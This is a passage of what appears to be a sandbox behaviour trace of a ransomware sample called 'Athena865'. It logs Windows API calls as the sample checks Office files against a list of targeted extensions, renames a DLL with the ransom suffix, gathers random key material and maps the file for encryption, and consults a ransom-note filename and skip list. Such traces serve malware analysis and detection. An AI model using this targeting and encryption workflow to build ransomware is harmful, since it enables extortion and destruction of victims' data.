lpString2="ddl") returned 1 [0084.671] lstrlenW (lpString="dlis") returned 4 [0084.671] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0084.671] lstrlenW (lpString="dp1") returned 3 [0084.672] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0084.672] lstrlenW (lpString="dqy") returned 3 [0084.672] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0084.672] lstrlenW (lpString="dsk") returned 3 [0084.672] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0084.672] lstrlenW (lpString="dsn") returned 3 [0084.672] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0084.672] lstrlenW (lpString="dtsx") returned 4 [0084.672] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0084.672] lstrlenW (lpString="dxl") returned 3 [0084.672] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0084.672] lstrlenW (lpString="eco") returned 3 [0084.672] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0084.672] lstrlenW (lpString="ecx") returned 3 [0084.672] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0084.672] lstrlenW (lpString="edb") returned 3 [0084.672] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0084.672] lstrlenW (lpString="epim") returned 4 [0084.672] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0084.672] lstrlenW (lpString="fcd") returned 3 [0084.672] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0084.672] lstrlenW (lpString="fdb") returned 3 [0084.672] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0084.672] lstrlenW (lpString="fic") returned 3 [0084.672] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0084.672] lstrlenW (lpString="flexolibrary") returned 12 [0084.673] lstrlenW (lpString="fm5") returned 3 [0084.673] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0084.673] lstrlenW (lpString="fmp") returned 3 [0084.673] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0084.673] lstrlenW (lpString="fmp12") returned 5 [0084.673] lstrcmpiW (lpString1="F.DLL", lpString2="fmp12") returned -1 [0084.673] lstrlenW (lpString="fmpsl") returned 5 [0084.673] lstrcmpiW (lpString1="F.DLL", lpString2="fmpsl") returned -1 [0084.673] lstrlenW (lpString="fol") returned 3 [0084.673] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0084.673] lstrlenW (lpString="fp3") returned 3 [0084.673] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0084.673] lstrlenW (lpString="fp4") returned 3 [0084.673] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0084.673] lstrlenW (lpString="fp5") returned 3 [0084.673] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0084.673] lstrlenW (lpString="fp7") returned 3 [0084.673] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0084.673] lstrlenW (lpString="fpt") returned 3 [0084.673] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0084.673] lstrlenW (lpString="frm") returned 3 [0084.673] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0084.673] lstrlenW (lpString="gdb") returned 3 [0084.673] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.673] lstrlenW (lpString="gdb") returned 3 [0084.673] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.673] lstrlenW (lpString="grdb") returned 4 [0084.674] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0084.674] lstrlenW (lpString="gwi") returned 3 [0084.674] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0084.674] lstrlenW (lpString="hdb") returned 3 [0084.674] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0084.674] lstrlenW (lpString="his") returned 3 [0084.674] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0084.674] lstrlenW (lpString="ib") returned 2 [0084.674] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0084.674] lstrlenW (lpString="idb") returned 3 [0084.674] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0084.674] lstrlenW (lpString="ihx") returned 3 [0084.674] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0084.674] lstrlenW (lpString="itdb") returned 4 [0084.674] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0084.674] lstrlenW (lpString="itw") returned 3 [0084.674] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0084.674] lstrlenW (lpString="jet") returned 3 [0084.674] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0084.674] lstrlenW (lpString="jtx") returned 3 [0084.674] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0084.674] lstrlenW (lpString="kdb") returned 3 [0084.674] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0084.674] lstrlenW (lpString="kexi") returned 4 [0084.674] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0084.674] lstrlenW (lpString="kexic") returned 5 [0084.675] lstrcmpiW (lpString1="F.DLL", lpString2="kexic") returned -1 [0084.675] lstrlenW (lpString="kexis") returned 5 [0084.675] lstrcmpiW (lpString1="F.DLL", lpString2="kexis") returned -1 [0084.675] lstrlenW (lpString="lgc") returned 3 [0084.675] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0084.675] lstrlenW (lpString="lwx") returned 3 [0084.675] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0084.675] lstrlenW (lpString="maf") returned 3 [0084.675] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0084.675] lstrlenW (lpString="maq") returned 3 [0084.675] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0084.675] lstrlenW (lpString="mar") returned 3 [0084.675] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0084.675] lstrlenW (lpString="marshal") returned 7 [0084.675] lstrcmpiW (lpString1="BHF.DLL", lpString2="marshal") returned -1 [0084.675] lstrlenW (lpString="mas") returned 3 [0084.675] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0084.675] lstrlenW (lpString="mav") returned 3 [0084.675] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0084.675] lstrlenW (lpString="maw") returned 3 [0084.675] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0084.675] lstrlenW (lpString="mdbhtml") returned 7 [0084.675] lstrcmpiW (lpString1="BHF.DLL", lpString2="mdbhtml") returned -1 [0084.675] lstrlenW (lpString="mdn") returned 3 [0084.675] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0084.675] lstrlenW (lpString="mdt") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0084.676] lstrlenW (lpString="mfd") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0084.676] lstrlenW (lpString="mpd") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0084.676] lstrlenW (lpString="mrg") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0084.676] lstrlenW (lpString="mud") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0084.676] lstrlenW (lpString="mwb") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0084.676] lstrlenW (lpString="myd") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0084.676] lstrlenW (lpString="ndf") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0084.676] lstrlenW (lpString="nnt") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0084.676] lstrlenW (lpString="nrmlib") returned 6 [0084.676] lstrcmpiW (lpString1="HF.DLL", lpString2="nrmlib") returned -1 [0084.676] lstrlenW (lpString="ns2") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0084.676] lstrlenW (lpString="ns3") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0084.676] lstrlenW (lpString="ns4") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0084.676] lstrlenW (lpString="nsf") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0084.676] lstrlenW (lpString="nv") returned 2 [0084.676] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0084.676] lstrlenW (lpString="nv2") returned 3 [0084.676] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0084.677] lstrlenW (lpString="nwdb") returned 4 [0084.677] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0084.677] lstrlenW (lpString="nyf") returned 3 [0084.677] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0084.677] lstrlenW (lpString="odb") returned 3 [0084.677] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.677] lstrlenW (lpString="odb") returned 3 [0084.677] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.677] lstrlenW (lpString="oqy") returned 3 [0084.677] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0084.677] lstrlenW (lpString="ora") returned 3 [0084.677] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0084.677] lstrlenW (lpString="orx") returned 3 [0084.677] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0084.677] lstrlenW (lpString="owc") returned 3 [0084.677] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0084.677] lstrlenW (lpString="p96") returned 3 [0084.677] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0084.677] lstrlenW (lpString="p97") returned 3 [0084.677] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0084.677] lstrlenW (lpString="pan") returned 3 [0084.677] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0084.677] lstrlenW (lpString="pdb") returned 3 [0084.677] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0084.677] lstrlenW (lpString="pdm") returned 3 [0084.677] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0084.677] lstrlenW (lpString="pnz") returned 3 [0084.677] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0084.678] lstrlenW (lpString="qry") returned 3 [0084.678] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0084.678] lstrlenW (lpString="qvd") returned 3 [0084.678] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0084.678] lstrlenW (lpString="rbf") returned 3 [0084.678] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0084.678] lstrlenW (lpString="rctd") returned 4 [0084.678] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0084.678] lstrlenW (lpString="rod") returned 3 [0084.678] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0084.678] lstrlenW (lpString="rodx") returned 4 [0084.678] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0084.678] lstrlenW (lpString="rpd") returned 3 [0084.678] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0084.678] lstrlenW (lpString="rsd") returned 3 [0084.678] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0084.678] lstrlenW (lpString="sas7bdat") returned 8 [0084.678] lstrcmpiW (lpString1="WBHF.DLL", lpString2="sas7bdat") returned 1 [0084.678] lstrlenW (lpString="sbf") returned 3 [0084.678] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0084.678] lstrlenW (lpString="scx") returned 3 [0084.678] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0084.678] lstrlenW (lpString="sdb") returned 3 [0084.678] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0084.678] lstrlenW (lpString="sdc") returned 3 [0084.678] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0084.678] lstrlenW (lpString="sdf") returned 3 [0084.679] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0084.679] lstrlenW (lpString="sis") returned 3 [0084.679] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0084.679] lstrlenW (lpString="spq") returned 3 [0084.679] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0084.679] lstrlenW (lpString="te") returned 2 [0084.679] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0084.679] lstrlenW (lpString="teacher") returned 7 [0084.679] lstrcmpiW (lpString1="BHF.DLL", lpString2="teacher") returned -1 [0084.679] lstrlenW (lpString="tmd") returned 3 [0084.679] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0084.679] lstrlenW (lpString="tps") returned 3 [0084.679] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0084.679] lstrlenW (lpString="trc") returned 3 [0084.679] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.679] lstrlenW (lpString="trc") returned 3 [0084.679] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.679] lstrlenW (lpString="trm") returned 3 [0084.679] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0084.679] lstrlenW (lpString="udb") returned 3 [0084.679] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0084.679] lstrlenW (lpString="udl") returned 3 [0084.679] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0084.679] lstrlenW (lpString="usr") returned 3 [0084.679] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0084.679] lstrlenW (lpString="v12") returned 3 [0084.679] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0084.680] lstrlenW (lpString="vis") returned 3 [0084.680] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0084.680] lstrlenW (lpString="vpd") returned 3 [0084.680] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0084.680] lstrlenW (lpString="vvv") returned 3 [0084.680] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0084.680] lstrlenW (lpString="wdb") returned 3 [0084.680] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0084.680] lstrlenW (lpString="wmdb") returned 4 [0084.680] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0084.680] lstrlenW (lpString="wrk") returned 3 [0084.680] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0084.680] lstrlenW (lpString="xdb") returned 3 [0084.680] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0084.680] lstrlenW (lpString="xld") returned 3 [0084.680] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0084.680] lstrlenW (lpString="xmlff") returned 5 [0084.680] lstrcmpiW (lpString1="F.DLL", lpString2="xmlff") returned -1 [0084.680] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBHF.DLL.Athena865") returned 64 [0084.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBHF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savwbhf.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBHF.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\savwbhf.dll.athena865"), dwFlags=0x1) returned 1 [0084.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBHF.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\savwbhf.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.682] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=162720) returned 1 [0084.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.682] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.683] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.683] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.683] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27ea0, lpName=0x0) returned 0x17c [0084.685] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27ea0) returned 0x170000 [0084.692] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.693] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.693] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.694] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0084.695] CloseHandle (hObject=0x17c) returned 1 [0084.695] CloseHandle (hObject=0x154) returned 1 [0084.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.696] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd66c1fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x40f88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SAVWBRAS.DLL", cAlternateFileName="")) returned 1 [0084.696] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.696] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.696] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2=".") returned 1 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2="..") returned 1 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2="windows") returned -1 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2="bootmgr") returned 1 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2="temp") returned -1 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2="pagefile.sys") returned 1 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2="boot") returned 1 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2="ids.txt") returned 1 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2="ntuser.dat") returned 1 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2="perflogs") returned 1 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2="MSBuild") returned 1 [0084.697] lstrlenW (lpString="SAVWBRAS.DLL") returned 12 [0084.697] lstrcpyW (in: lpString1=0x241e89e, lpString2="SAVWBRAS.DLL" | out: lpString1="SAVWBRAS.DLL") returned="SAVWBRAS.DLL" [0084.697] lstrlenW (lpString="SAVWBRAS.DLL") returned 12 [0084.697] lstrlenW (lpString="Athena865") returned 9 [0084.697] lstrcmpiW (lpString1="WBRAS.DLL", lpString2="Athena865") returned 1 [0084.697] lstrlenW (lpString=".dll") returned 4 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2=".dll") returned 1 [0084.697] lstrlenW (lpString=".lnk") returned 4 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2=".lnk") returned 1 [0084.697] lstrlenW (lpString=".ini") returned 4 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2=".ini") returned 1 [0084.697] lstrlenW (lpString=".sys") returned 4 [0084.697] lstrcmpiW (lpString1="SAVWBRAS.DLL", lpString2=".sys") returned 1 [0084.697] lstrlenW (lpString="SAVWBRAS.DLL") returned 12 [0084.697] lstrlenW (lpString="bak") returned 3 [0084.697] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.697] lstrlenW (lpString="ba_") returned 3 [0084.697] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.697] lstrlenW (lpString="dbb") returned 3 [0084.697] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.697] lstrlenW (lpString="vmdk") returned 4 [0084.698] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.698] lstrlenW (lpString="rar") returned 3 [0084.698] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.698] lstrlenW (lpString="zip") returned 3 [0084.698] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.698] lstrlenW (lpString="tgz") returned 3 [0084.698] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.698] lstrlenW (lpString="vbox") returned 4 [0084.698] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.698] lstrlenW (lpString="vdi") returned 3 [0084.698] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.698] lstrlenW (lpString="vhd") returned 3 [0084.698] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.698] lstrlenW (lpString="vhdx") returned 4 [0084.698] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.698] lstrlenW (lpString="avhd") returned 4 [0084.698] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.698] lstrlenW (lpString="db") returned 2 [0084.698] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.698] lstrlenW (lpString="db2") returned 3 [0084.698] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.698] lstrlenW (lpString="db3") returned 3 [0084.698] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.698] lstrlenW (lpString="dbf") returned 3 [0084.698] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.698] lstrlenW (lpString="mdf") returned 3 [0084.698] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.698] lstrlenW (lpString="mdb") returned 3 [0084.698] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.698] lstrlenW (lpString="sql") returned 3 [0084.698] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.698] lstrlenW (lpString="sqlite") returned 6 [0084.699] lstrcmpiW (lpString1="AS.DLL", lpString2="sqlite") returned -1 [0084.699] lstrlenW (lpString="sqlite3") returned 7 [0084.699] lstrcmpiW (lpString1="RAS.DLL", lpString2="sqlite3") returned -1 [0084.699] lstrlenW (lpString="sqlitedb") returned 8 [0084.699] lstrcmpiW (lpString1="BRAS.DLL", lpString2="sqlitedb") returned -1 [0084.699] lstrlenW (lpString="xml") returned 3 [0084.699] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.699] lstrlenW (lpString="$er") returned 3 [0084.699] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.699] lstrlenW (lpString="4dd") returned 3 [0084.699] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.699] lstrlenW (lpString="4dl") returned 3 [0084.699] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.699] lstrlenW (lpString="^^^") returned 3 [0084.699] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.699] lstrlenW (lpString="abs") returned 3 [0084.699] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.699] lstrlenW (lpString="abx") returned 3 [0084.699] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.699] lstrlenW (lpString="accdb") returned 5 [0084.699] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0084.699] lstrlenW (lpString="accdc") returned 5 [0084.699] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0084.699] lstrlenW (lpString="accde") returned 5 [0084.699] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0084.699] lstrlenW (lpString="accdr") returned 5 [0084.699] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0084.699] lstrlenW (lpString="accdt") returned 5 [0084.699] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0084.699] lstrlenW (lpString="accdw") returned 5 [0084.699] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0084.700] lstrlenW (lpString="accft") returned 5 [0084.700] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0084.700] lstrlenW (lpString="adb") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.700] lstrlenW (lpString="adb") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.700] lstrlenW (lpString="ade") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.700] lstrlenW (lpString="adf") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.700] lstrlenW (lpString="adn") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.700] lstrlenW (lpString="adp") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.700] lstrlenW (lpString="alf") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.700] lstrlenW (lpString="ask") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.700] lstrlenW (lpString="btr") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.700] lstrlenW (lpString="cat") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.700] lstrlenW (lpString="cdb") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.700] lstrlenW (lpString="ckp") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0084.700] lstrlenW (lpString="cma") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.700] lstrlenW (lpString="cpd") returned 3 [0084.700] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.700] lstrlenW (lpString="dacpac") returned 6 [0084.700] lstrcmpiW (lpString1="AS.DLL", lpString2="dacpac") returned -1 [0084.700] lstrlenW (lpString="dad") returned 3 [0084.701] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.701] lstrlenW (lpString="dadiagrams") returned 10 [0084.701] lstrcmpiW (lpString1="VWBRAS.DLL", lpString2="dadiagrams") returned 1 [0084.701] lstrlenW (lpString="daschema") returned 8 [0084.701] lstrcmpiW (lpString1="BRAS.DLL", lpString2="daschema") returned -1 [0084.701] lstrlenW (lpString="db-journal") returned 10 [0084.701] lstrcmpiW (lpString1="VWBRAS.DLL", lpString2="db-journal") returned 1 [0084.701] lstrlenW (lpString="db-shm") returned 6 [0084.701] lstrcmpiW 